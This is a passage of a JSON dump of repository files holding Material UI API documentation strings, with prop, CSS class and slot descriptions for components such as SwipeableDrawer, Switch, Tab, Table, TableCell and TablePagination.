{\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"disabled\\\"</code>\"\n    },\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"fontSizeInherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fontSize=\\\"inherit\\\"</code>\"\n    },\n    \"fontSizeLarge\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fontSize=\\\"large\\\"</code>\"\n    },\n    \"fontSizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fontSize=\\\"medium\\\"</code>\"\n    },\n    \"fontSizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fontSize=\\\"small\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/swipeable-drawer/swipeable-drawer.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"allowSwipeInChildren\": {\n      \"description\": \"If set to true, the swipe event will open the drawer even if the user begins the swipe on one of the drawer&#39;s children. This can be useful in scenarios where the drawer is partially visible. You can customize it further with a callback that determines which children the user can drag over to open the drawer (for example, to ignore other elements that handle touch move events, like sliders).\"\n    },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"disableBackdropTransition\": {\n      \"description\": \"Disable the backdrop transition. This can improve the FPS on low-end devices.\"\n    },\n    \"disableDiscovery\": {\n      \"description\": \"If <code>true</code>, touching the screen near the edge of the drawer will not slide in the drawer a bit to promote accidental discovery of the swipe gesture.\"\n    },\n    \"disableSwipeToOpen\": {\n      \"description\": \"If <code>true</code>, swipe to open is disabled. This is useful in browsers where swiping triggers navigation actions. Swipe to open is disabled on iOS browsers by default.\"\n    },\n    \"hysteresis\": {\n      \"description\": \"Affects how far the drawer must be opened/closed to change its state. Specified as percent (0-1) of the width of the drawer\"\n    },\n    \"minFlingVelocity\": {\n      \"description\": \"Defines, from which (average) velocity on, the swipe is defined as complete although hysteresis isn&#39;t reached. Good threshold is between 250 - 1000 px/s\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"onOpen\": {\n      \"description\": \"Callback fired when the component requests to be opened.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"swipeAreaWidth\": {\n      \"description\": \"The width of the left most (or right most) area in <code>px</code> that the drawer can be swiped open from.\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"anchorBottom\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchor=\\\"bottom\\\"</code>\"\n    },\n    \"anchorLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchor=\\\"left\\\"</code>\"\n    },\n    \"anchorRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchor=\\\"right\\\"</code>\"\n    },\n    \"anchorTop\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchor=\\\"top\\\"</code>\"\n    },\n    \"docked\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"permanent or persistent\\\"</code>\"\n    },\n    \"modal\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the Modal component\"\n    },\n    \"paper\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the Paper component\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  },\n  \"slotDescriptions\": { \"swipeArea\": \"The component used for the swipeArea slot.\" }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/switch/switch.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"checked\": { \"description\": \"If <code>true</code>, the component is checked.\" },\n    \"checkedIcon\": { \"description\": \"The icon to display when the component is checked.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"defaultChecked\": {\n      \"description\": \"The default checked state. Use when the component is not controlled.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableRipple\": { \"description\": \"If <code>true</code>, the ripple effect is disabled.\" },\n    \"edge\": {\n      \"description\": \"If given, uses a negative margin to counteract the padding on one side (this is often helpful for aligning the left or right side of the icon with content above or below, without ruining the border size and shape).\"\n    },\n    \"icon\": { \"description\": \"The icon to display when the component is unchecked.\" },\n    \"id\": { \"description\": \"The id of the <code>input</code> element.\" },\n    \"onChange\": {\n      \"description\": \"Callback fired when the state is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new value by accessing <code>event.target.value</code> (string). You can pull out the new checked state by accessing <code>event.target.checked</code> (boolean).\"\n        }\n      }\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is required.\"\n    },\n    \"size\": {\n      \"description\": \"The size of the component. <code>small</code> is equivalent to the dense switch styling.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the component. The DOM API casts this to a string. The browser uses &quot;on&quot; as the default value.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"checked\": {\n      \"description\": \"State class applied to {{nodeName}}.\",\n      \"nodeName\": \"the internal <code>SwitchBase</code> component&#39;s <code>checked</code> class\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the internal SwitchBase component&#39;s root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the internal SwitchBase component&#39;s root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}}.\",\n      \"nodeName\": \"the internal SwitchBase component&#39;s disabled class\"\n    },\n    \"edgeEnd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>edge=\\\"end\\\"</code>\"\n    },\n    \"edgeStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>edge=\\\"start\\\"</code>\"\n    },\n    \"sizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"input\": \"The component that renders the switchBase&#39;s input slot.\",\n    \"root\": \"The component that renders the root slot.\",\n    \"switchBase\": \"The component that renders the switchBase slot.\",\n    \"thumb\": \"The component that renders the thumb slot.\",\n    \"track\": \"The component that renders the track slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/tab/tab.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"This prop isn&#39;t supported. Use the <code>component</code> prop if you need to change the children structure.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableFocusRipple\": {\n      \"description\": \"If <code>true</code>, the  keyboard focus ripple is disabled.\"\n    },\n    \"disableRipple\": {\n      \"description\": \"If <code>true</code>, the ripple effect is disabled.<br>⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure to highlight the element by applying separate styles with the <code>.Mui-focusVisible</code> class.\"\n    },\n    \"icon\": { \"description\": \"The icon to display.\" },\n    \"iconPosition\": { \"description\": \"The position of the icon relative to the label.\" },\n    \"label\": { \"description\": \"The label element.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"You can provide your own value. Otherwise, we fallback to the child position index.\"\n    },\n    \"wrapped\": {\n      \"description\": \"Tab labels appear in a single row. They can use a second line if needed.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code> (controlled by the Tabs component)\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code> (controlled by the Tabs component)\"\n    },\n    \"icon\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the <code>icon</code> HTML element\",\n      \"conditions\": \"both <code>icon</code> and <code>label</code> are provided\"\n    },\n    \"labelIcon\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"both <code>icon</code> and <code>label</code> are provided\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"selected\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>selected={true}</code> (controlled by the Tabs component)\"\n    },\n    \"textColorInherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the parent <a href=\\\"/material-ui/api/tabs/\\\"><code>Tabs</code></a> has <code>textColor=\\\"inherit\\\"</code>\"\n    },\n    \"textColorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the parent <a href=\\\"/material-ui/api/tabs/\\\"><code>Tabs</code></a> has <code>textColor=\\\"primary\\\"</code>\"\n    },\n    \"textColorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the parent <a href=\\\"/material-ui/api/tabs/\\\"><code>Tabs</code></a> has <code>textColor=\\\"secondary\\\"</code>\"\n    },\n    \"wrapped\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>wrapped={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/tab-context/tab-context.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"value\": { \"description\": \"The value of the currently selected <code>Tab</code>.\" }\n  },\n  \"classDescriptions\": {}\n}\n"
  },
  {
    "path": "docs/translations/api-docs/tab-list/tab-list.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"A list of <code>&lt;Tab /&gt;</code> elements.\" }\n  },\n  \"classDescriptions\": {\n    \"centered\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the flex container element\",\n      \"conditions\": \"<code>centered={true}</code> &amp; <code>!variant=\\\"scrollable\\\"</code>\"\n    },\n    \"fixed\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tablist element\",\n      \"conditions\": \"<code>!variant=\\\"scrollable\\\"</code>\\b\\b\\b\"\n    },\n    \"hideScrollbar\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tablist element\",\n      \"conditions\": \"<code>variant=\\\"scrollable\\\"</code> and <code>visibleScrollbar={false}</code>\"\n    },\n    \"indicator\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the TabIndicator component\"\n    },\n    \"list\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the list element\" },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"scrollableX\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tablist element\",\n      \"conditions\": \"<code>variant=\\\"scrollable\\\"</code> and <code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"scrollableY\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the tablist element\",\n      \"conditions\": \"<code>variant=\\\"scrollable\\\"</code> and <code>orientation=\\\"vertical\\\"</code>\"\n    },\n    \"scrollButtons\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the ScrollButtonComponent component\"\n    },\n    \"scrollButtonsHideMobile\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the ScrollButtonComponent component\",\n      \"conditions\": \"<code>allowScrollButtonsMobile={true}</code>\"\n    },\n    \"scroller\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the tablist element\"\n    },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/tab-panel/tab-panel.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"keepMounted\": { \"description\": \"Always keep the children in the DOM.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The <code>value</code> of the corresponding <code>Tab</code>. Must use the index of the <code>Tab</code> when no <code>value</code> was passed to <code>Tab</code>.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"hidden\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root <code>div</code> element\",\n      \"conditions\": \"<code>hidden={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/tab-scroll-button/tab-scroll-button.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"direction\": { \"description\": \"The direction the button should indicate.\" },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"orientation\": { \"description\": \"The component orientation (layout flow direction).\" },\n    \"slotProps\": {\n      \"description\": \"The extra props for the slot components. You can override the existing props or add new ones.\"\n    },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table/table.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The content of the table, normally <code>TableHead</code> and <code>TableBody</code>.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"padding\": { \"description\": \"Allows TableCells to inherit padding of the Table.\" },\n    \"size\": { \"description\": \"Allows TableCells to inherit size of the Table.\" },\n    \"stickyHeader\": { \"description\": \"Set the header sticky.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"stickyHeader\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>stickyHeader={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-body/table-body.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component, normally <code>TableRow</code>.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-cell/table-cell.json",
    "content": "{\n  \"componentDescription\": \"The component renders a `<th>` element when the parent context is a header\\nor otherwise a `<td>` element.\",\n  \"propDescriptions\": {\n    \"align\": {\n      \"description\": \"Set the text-align on the table cell content.<br>Monetary or generally number fields <strong>should be right aligned</strong> as that allows you to add them up quickly in your head without having to worry about decimals.\"\n    },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"padding\": {\n      \"description\": \"Sets the padding applied to the cell. The prop defaults to the value (<code>&#39;default&#39;</code>) inherited from the parent Table component.\"\n    },\n    \"scope\": { \"description\": \"Set scope attribute.\" },\n    \"size\": {\n      \"description\": \"Specify the size of the cell. The prop defaults to the value (<code>&#39;medium&#39;</code>) inherited from the parent Table component.\"\n    },\n    \"sortDirection\": { \"description\": \"Set aria-sort direction.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": {\n      \"description\": \"Specify the cell type. The prop defaults to the value inherited from the parent TableHead, TableBody, or TableFooter components.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"alignCenter\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>align=\\\"center\\\"</code>\"\n    },\n    \"alignJustify\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>align=\\\"justify\\\"</code>\"\n    },\n    \"alignLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>align=\\\"left\\\"</code>\"\n    },\n    \"alignRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>align=\\\"right\\\"</code>\"\n    },\n    \"body\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"body\\\"</code> or <code>context.table.body</code>\"\n    },\n    \"footer\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"footer\\\"</code> or <code>context.table.footer</code>\"\n    },\n    \"head\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"head\\\"</code> or <code>context.table.head</code>\"\n    },\n    \"paddingCheckbox\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>padding=\\\"checkbox\\\"</code>\"\n    },\n    \"paddingNone\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>padding=\\\"none\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"stickyHeader\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>context.table.stickyHeader={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-container/table-container.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component, normally <code>Table</code>.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-footer/table-footer.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component, normally <code>TableRow</code>.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-head/table-head.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component, normally <code>TableRow</code>.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-pagination/table-pagination.json",
    "content": "{\n  \"componentDescription\": \"A `TableCell` based component for placing inside `TableFooter` for pagination.\",\n  \"propDescriptions\": {\n    \"ActionsComponent\": {\n      \"description\": \"The component used for displaying the actions. Either a string to use a HTML element or a component.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"count\": {\n      \"description\": \"The total number of rows.<br>To enable server side pagination for an unknown number of items, provide -1.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"getItemAriaLabel\": {\n      \"description\": \"Accepts a function which returns a string value that provides a user-friendly name for the current page. This is important for screen reader users.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\",\n      \"typeDescriptions\": {\n        \"type\": {\n          \"name\": \"type\",\n          \"description\": \"The link or button type to format (&#39;first&#39; | &#39;last&#39; | &#39;next&#39; | &#39;previous&#39;).\"\n        }\n      }\n    },\n    \"labelDisplayedRows\": {\n      \"description\": \"Customize the displayed rows label. Invoked with a <code>{ from, to, count, page }</code> object.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"labelRowsPerPage\": {\n      \"description\": \"Customize the rows per page label.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"onPageChange\": {\n      \"description\": \"Callback fired when the page is changed.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"page\": { \"name\": \"page\", \"description\": \"The page selected.\" }\n      }\n    },\n    \"onRowsPerPageChange\": {\n      \"description\": \"Callback fired when the number of rows per page is changed.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"page\": { \"description\": \"The zero-based index of the current page.\" },\n    \"rowsPerPage\": {\n      \"description\": \"The number of rows per page.<br>Set -1 to display all the rows.\"\n    },\n    \"rowsPerPageOptions\": {\n      \"description\": \"Customizes the options of the rows per page select field. If less than two options are available, no select field will be displayed. Use -1 for the value with a custom label to show all the rows.\"\n    },\n    \"showFirstButton\": { \"description\": \"If <code>true</code>, show the first-page button.\" },\n    \"showLastButton\": { \"description\": \"If <code>true</code>, show the last-page button.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"input\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the Select component <code>root</code> element\"\n    },\n    \"selectIcon\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the Select component <code>icon</code> class\"\n    },\n    \"selectRoot\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the Select component <code>root</code> element\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"actions\": \"The slots that passed to the actions slot.\",\n    \"displayedRows\": \"The tag that renders the displayedRows slot.\",\n    \"menuItem\": \"The component that renders the select slot. <a href=\\\"https://mui.com/material-ui/api/menu-item/#props\\\">Follow this guide</a> to learn more about the requirements for this component.\",\n    \"root\": \"The component that renders the root slot. <a href=\\\"https://mui.com/material-ui/api/table-cell/#props\\\">Follow this guide</a> to learn more about the requirements for this component.\",\n    \"select\": \"The component that renders the select slot. <a href=\\\"https://mui.com/material-ui/api/select/#props\\\">Follow this guide</a> to learn more about the requirements for this component.\",\n    \"selectLabel\": \"The tag that renders the selectLabel slot.\",\n    \"spacer\": \"The tag that renders the spacer slot.\",\n    \"toolbar\": \"The component that renders the toolbar slot. <a href=\\\"https://mui.com/material-ui/api/toolbar/#props\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/table-pagination-actions/table-pagination-actions.json",
